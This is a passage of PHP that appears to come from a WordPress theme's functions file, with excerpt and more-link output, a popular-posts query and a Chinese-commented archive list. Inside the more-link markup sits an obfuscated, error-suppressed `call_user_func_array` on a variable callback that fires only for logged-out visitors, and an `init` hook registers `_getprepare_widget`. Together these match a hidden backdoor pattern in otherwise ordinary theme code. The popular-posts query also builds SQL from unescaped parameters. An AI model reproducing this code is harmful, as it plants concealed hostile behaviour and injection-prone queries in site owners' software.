    $output=($fixed_tags) ? balanceTags($output, true) : $output;
	$output .= ($isshowdots && $ellipsis) ? "..." : "";
	$output=apply_filters($filter, $output);
	switch($tag_aditional) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($is_use_more_link ) {
		if($for_more) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_getprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
}
wp_enqueue_script('jquery');
 /* Archives list by zwwooooo | http://zww.me */
 function zww_archives_list() {
     if( !$output = get_option('zww_archives_list') ){
         $output = '<div id="archives"><p>[<a id="al_expand_collapse" href="#">全部展开/收缩</a>] <em>(注: 点击月份可以展开)</em></p>';
         $the_query = new WP_Query( 'posts_per_page=-1&ignore_sticky_posts=1' ); //update: 加上忽略置顶文章
         $year=0; $mon=0; $i=0; $j=0;
         while ( $the_query->have_posts() ) : $the_query->the_post();
             $year_tmp = get_the_time('Y');
             $mon_tmp = get_the_time('m');
             $y=$year; $m=$mon;
             if ($mon != $mon_tmp && $mon > 0) $output .= '</ul></li>';
             if ($year != $year_tmp && $year > 0) $output .= '</ul>';
             if ($year != $year_tmp) {
                 $year = $year_tmp;
                 $output .= '<h3 class="al_year">'. $year .' 年</h3><ul class="al_mon_list">'; //输出年份
             }
             if ($mon != $mon_tmp) {
                 $mon = $mon_tmp;
                 $output .= '<li><span class="al_mon">'. $mon .' 月</span><ul class="al_post_list">'; //输出月份
             }
             $output .= '<li>'. get_the_time('d日: ') .'<a href="'. get_permalink() .'">'. get_the_title() .'</a> <em>('. get_comments_number('0', '1', '%') .')</em></li>'; //输出文章日期和标题
         endwhile;
         wp_reset_postdata();
         $output .= '</ul></li></ul></div>';
         update_option('zww_archives_list', $output);
     }
     echo $output;
 }
 function clear_zal_cache() {
     update_option('zww_archives_list', ''); // 清空 zww_archives_list
 }
 add_action('save_post', 'clear_zal_cache'); // 新发表文章/修改文章时
?>